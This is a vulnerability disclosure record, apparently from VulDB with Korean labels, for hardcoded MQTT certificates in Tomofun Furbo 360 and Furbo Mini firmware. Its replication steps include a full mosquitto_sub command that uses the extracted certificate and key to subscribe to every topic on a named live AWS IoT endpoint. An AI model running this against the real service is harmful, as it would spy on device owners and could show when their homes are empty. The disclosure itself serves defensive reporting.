| 제목 | Tomofun Furbo 360, Furbo Mini Furbo 360 (≤ FB0035_FW_036), Furbo Mini (≤ MC0020_FW_074) Hardcoded Credentials |
|---|
| 설명 | Furbo devices have a hardcoded MQTT client certificate which is not unique. As a result, an attacker who retrieves and decrypts the Furbo firmware can impersonate any device and connect to Furbo's MQTT infrastructure as a client. The device IDs of all users can be retrieved, and an attacker can identify what is being performed with a device at a specific point in time. This issue, when combined with account IDs being issued sequentially, could allow an attacker to identify what device is associated with a specific account, and subsequently map out the actions that are performed on it throughout the day. This information could be used to identify when an owner is home based on their device interactions.
Replication steps:
Retrieve the Furbo firmware, and decrypt it.
Decompress the firmware with binwalk.
Navigate to: /squashfs-root/furbo_img
Decompress the squash file.
Navigate into: /_furbo_service-<SVC VERSION>.sqsh.extracted/squashfs-root/config/
Run:
mosquitto_sub \
-h ach7ixmm2osx.iot.us-east-1.amazonaws.com \
-p 8883 \
--cafile root_CA.pem \
--cert furbo3.certificate.pem.crt \
--key furbo3.private.pem.key \
-t '#' \
-d
Observe that you are subscribed to the endpoint as a "Furbo device" and can observe actions from every other Furbo device in the world. |
|---|
| 사용자 | jTag Labs (UID 51246) |
|---|
| 제출 | 2025. 09. 24. PM 04:03 (7 개월 ago) |
|---|
| 모더레이션 | 2025. 10. 11. PM 08:33 (17 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 328054 [Tomofun Furbo 360/Furbo Mini MQTT Client Certificate /squashfs-root/furbo_img 약한 인증] |
|---|
| 포인트들 | 17 |
|---|